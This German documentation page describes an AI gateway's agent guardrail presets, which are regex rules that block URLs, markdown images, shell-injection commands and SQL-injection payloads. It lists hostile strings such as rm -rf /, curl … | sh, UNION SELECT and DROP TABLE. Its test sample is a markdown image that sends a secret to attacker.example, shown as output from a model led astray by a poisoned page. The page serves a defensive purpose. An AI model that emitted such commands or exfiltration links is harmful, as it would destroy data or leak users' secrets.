Zum Hauptinhalt springen
Wenn ein Modell Tools steuert, verstecken sich die gefährlichen Strings in schlichtem Inhalt: eine URL, die der Agent gleich abrufen wird, ein Markdown-Bild, das der Client automatisch lädt, ein rm -rf /, das das Modell in ein Shell-Tool echot, ein UNION SELECT, das es für einen SQL-Runner zur Ausführung ausgibt. Eine Content-Policy, die nur an PII oder Secrets denkt, übersieht alle vier. Die Preset-Kategorie Agent existiert genau für diese Form — deterministische regex-Regeln, die den Request oder die Response blockieren (block), bevor ein nachgelagertes Tool darauf reagiert. Dies ist eine fokussierte Landing-Page für den agentischen Anwendungsfall. Für die vollständige Guardrail-Engine — jeder Regeltyp, jedes Feld, jede Stage und jede Route — siehe die Guardrails-Referenz.

​
1. Warum Agent-Guardrails eine eigene Oberfläche sind

Ein Guardrail prüft Inhalt — den Text in der Anfrage und den Text in der Antwort. Für einen Agenten wird dieser Text zu einer Aktion: die URL wird abgerufen, das Markdown wird gerendert, die Shell-Zeile wird ausgeführt, das SQL wird ausgeführt. Dieselbe block / mask-Engine, die Sie für PII verwenden, leistet hier also doppelte Arbeit — sie stoppt eine Payload am Gateway, bevor die Tool-Schicht des Agenten sie in einen Nebeneffekt verwandeln kann. Die Kategorie Agent liefert vier Presets, jedes eine regex-Regel mit der Action block, verteilt über die beiden Stages:
Blockiert jede http(s)-URL im Request. Verwenden Sie ihn für Agent-Flows, bei denen ausgehende URLs auf einer Allowlist stehen müssen statt offen zu sein. Das mitgelieferte Muster matcht jede URL; bearbeiten Sie die Regex, um bestimmte Domains zuzulassen.
Blockiert eingebettete Markdown-Bilder (![alt](url)) in der Response des Modells. Verteidigt gegen Image-Rendering-Exfiltration auf Clients, die entfernte Bilder automatisch laden — ein klassischer Datenleck-Kanal, bei dem eine gerenderte Bild-URL Daten herausschmuggelt.
Blockiert offensichtliche Shell-Injection-Muster im Request (rm -rf /, curl … | sh, wget … | bash, sudo-Eskalation). Verwenden Sie ihn für Agent-Flows, die Benutzereingaben an ein Shell-Tool weiterleiten können.
Blockiert Modell-Responses, die klassische SQL-Injection-Payloads tragen (UNION SELECT, OR 1=1, DROP TABLE, Kommentar-Terminatoren). Defense-in-Depth für Tools, die vom Modell erzeugtes SQL automatisch ausführen.
Zwei Presets prüfen Input, zwei prüfen Output. URL Filter und Tool Call Shell Block feuern auf dem Request — bevor das Modell läuft, bevor Kontingent gemessen wird. Markdown Image Block und SQL Injection in Output feuern auf der Response — nachdem das Modell geantwortet hat, bevor der Inhalt Ihren Client oder dessen Tool-Schicht erreicht. Zu wissen, auf welcher Stage ein Risiko lebt, ist das ganze Spiel; siehe Input-Stage und Output-Stage.

​
2. Ein Agent-Guardrail in der Konsole anwenden

Jeder Schritt hier ist eine Konsolen-Aktion auf dem gehosteten Gateway unter Ihrer eigenen Session. Das Erstellen und Bearbeiten von Guardrails erfordert Developer+ im Workspace. Nur der finale /v1/*-Aufruf verwendet einen sk-orca-...-Relay-Key — das Guardrail selbst wird vollständig in der Konsole konfiguriert.
1

Template öffnen

Öffnen Sie in der Konsole Guardrails, klicken Sie auf den New guardrail-Splitbutton und wählen Sie ein Preset aus der Template-Kategorie Agent — z. B. Markdown Image Block. Es legt die einzelne regex-Block-Regel auf der richtigen Stage an.
2

Benennen und speichern

Geben Sie ihm einen Namen (≤ 64 Zeichen), z. B. agent-rails, und speichern. Ein Preset ist ein Keim, keine Sperre — fügen Sie die anderen drei Agent-Regeln hinzu oder bearbeiten Sie die Regex anschließend frei (siehe §4).
3

Im Sandbox testen

Öffnen Sie den Tab Test im Editor, fügen Sie ein Sample ein, wählen Sie die passende Stage und führen Sie die aktuelle Policy lokal aus — kein Upstream-Aufruf, kein Kontingent (siehe §3).
4

Einen Key anhängen

Bearbeiten Sie einen API-Key und wählen Sie agent-rails aus dem Dropdown Guardrail (setzt guardrail_id auf dem Key), oder markieren Sie es als Workspace-Default. Siehe Einen Key anhängen und Account-Default.

​
3. Beweisen Sie es, bevor Sie anhängen

Beweisen Sie, dass die Regel feuert, bevor irgendein Key auf sie zeigt. Öffnen Sie den Tab Test, wählen Sie die output-Stage und fügen Sie eine Antwort ein, die eine von einem Angreifer vergiftete Seite das Modell zur Ausgabe verleitet haben könnte: 
Here is the result: ![status](https://attacker.example/track?d=secret)
Die Sandbox evaluiert die aktuelle Policy lokal — nichts wird nach Upstream gesendet, nichts wird gemessen — und gibt das block-Verdikt zurück, das die ausgelöste Regel benennt. Für ein A/B-Raster gegen einen Korpus aus adversarialen und harmlosen Samples liegt das Eval-Harness einen Tab weiter.

​
4. Die Regeln zusammensetzen und tunen

Die vier Presets sind Keime. Der übliche Schritt ist, sie in ein einziges agent-rails-Guardrail zu kombinieren und jede Regex auf Ihren Stack zu verschärfen:

URLs auf Allowlist setzen

Starten Sie von URL Filter und bearbeiten Sie dann die regex, sodass sie jede URL außer Ihren genehmigten Domains blockiert — kehren Sie den Match zu einer Allowlist um statt einer pauschalen Blockade.

Eigene Detektoren verfassen

Fügen Sie eine regex-Regel für jede Payload-Form hinzu, die Ihre Tools betrifft — RE2-Muster, lineare Zeit, keine Backreferences. Muster werden einmal kompiliert und über Requests hinweg gecacht.
Mischen Sie Agent-Regeln mit dem Rest der Engine in einem Guardrail. Paaren Sie sie mit einer PII-Shield-mask-Regel oder einem Secrets-Blocker-Input-Block — eine Policy kann jeden Regeltyp tragen, und die Engine faltet sie zu einem einzigen Verdikt zusammen. Siehe Actions für block vs. mask vs. flag.

​
5. Wie ein Block aussieht

Jedes Agent-Preset verwendet die block-Action. Ein blockierter Request gibt HTTP 400 mit dem Fehlercode guardrail_blocked und einer Nachricht zurück, die das Guardrail und die ausgelöste Regel benennt: 
{
  "error": {
    "code": "guardrail_blocked",
    "message": "request blocked by guardrail \"agent-rails\""
  }
}
Ein blockierter Request kostet kein Kontingent — ein Block der Input-Stage (URL Filter, Tool Call Shell Block) feuert vor der Messung; ein Block der Output-Stage (Markdown Image Block, SQL Injection in Output) erstattet das vorab verbrauchte Kontingent zurück, nachdem die Antwort abgelehnt wurde — und er wird als skip-retry markiert, da das erneute Ausführen desselben Prompts einfach wieder blockieren würde. Siehe den guardrail_blocked-Fehler.
Output-Block wird auch beim Streaming durchgesetzt. Für die beiden Output-Stage-Agent-Presets hält block in beiden Fällen: Bei einer nicht-streamenden Response wird die Antwort vor der Rückgabe geprüft, und bei einer streamenden Response unterbricht ein Scanner den Stream mittendrin, bevor blockierter Inhalt den Client erreicht. Siehe Streaming-Abdeckung.

​
6. Guardrails sind Inhalt; die Firewall sind Tool-Calls

Agent-Guardrails sind eine starke erste Schicht, aber sie schließen über Strings, nicht über Tool-Semantik. Sie blockieren eine Shell-Zeile im Inhalt — sie verstehen nicht, dass das Modell einen strukturierten tool_call an ein destruktives Tool ausgegeben hat, oder dass eine ausgehende Anfrage auf eine Metadaten-IP zusteuert. Diese Tool-Call-Schicht ist die Firewall: Sie evaluiert die vom Modell ausgegebenen tool_calls, MCP-tools/call und ausgehenden Egress mit Verdikten wie allow / audit / deny / pending_approval. Die beiden setzen sich zusammen — Guardrails prüfen den Text, die Firewall steuert die Aktion.

Firewall

Steuern Sie die vom Modell ausgegebenen Tool-Calls, MCP-Calls und Egress mit allow / audit / deny / approval-Verdikten.

Guardrails vs. Firewall

Wann Sie zu einem Content-Guardrail vs. einer Tool-Call-Firewall greifen — und wie Sie beide betreiben.

KI-Agenten absichern

Der vollständige Agent-Control-Stack: Inhalt, Tools, MCP und Egress.

Übermäßiger Handlungsspielraum

Die Bedrohung, die diese Rails adressieren — ein Agent, der mehr tut, als er sollte.

​
7. Sehen, was gefeuert hat

Jede Regel, die feuert, zeichnet einen Match auf — Regeltyp, Action, Stage und einen Detail-String — angezeigt im workspace-weiten Feed Matches. Der gematchte Teilstring selbst wird nur dann aufgezeichnet, wenn Log raw content eingeschaltet ist, was standardmäßig aus ist. Gruppieren und filtern Sie den Feed nach Guardrail, Regeltyp und Action, um Ihre Agent-Regel-Trefferquote zu beobachten und Fehlalarme zu tunen. Siehe Matches-Feed, Logging & Datenschutz und Fehlalarme tunen.

​
8. Wie es weitergeht

Output-Stage-Regeln

Wie die Response-Prüfung für Markdown Image Block und SQL Injection in Output funktioniert.

Regex-Detektoren

Verfassen Sie Ihre eigenen RE2-Muster, um die Agent-Regeln zu erweitern.

Datenexfiltration

Der Exfiltrations-Kanal, den Markdown Image Block schließt.

Gefährliche Tool-Calls

Warum ein Content-Rail allein nicht genügt — paaren Sie es mit der Firewall.
Agent-Guardrails halten gefährliche Strings aus dem Inhalt heraus, den ein Agent sendet und empfängt. Um die Aktionen zu steuern, die ein Agent unternimmt — die Tool-Calls, MCP-Calls und den Egress selbst — gehen Sie hoch zur Firewall und lesen Sie die Baseline KI-Agenten absichern. Für die vollständige Guardrail-Engine siehe die Guardrails-Referenz.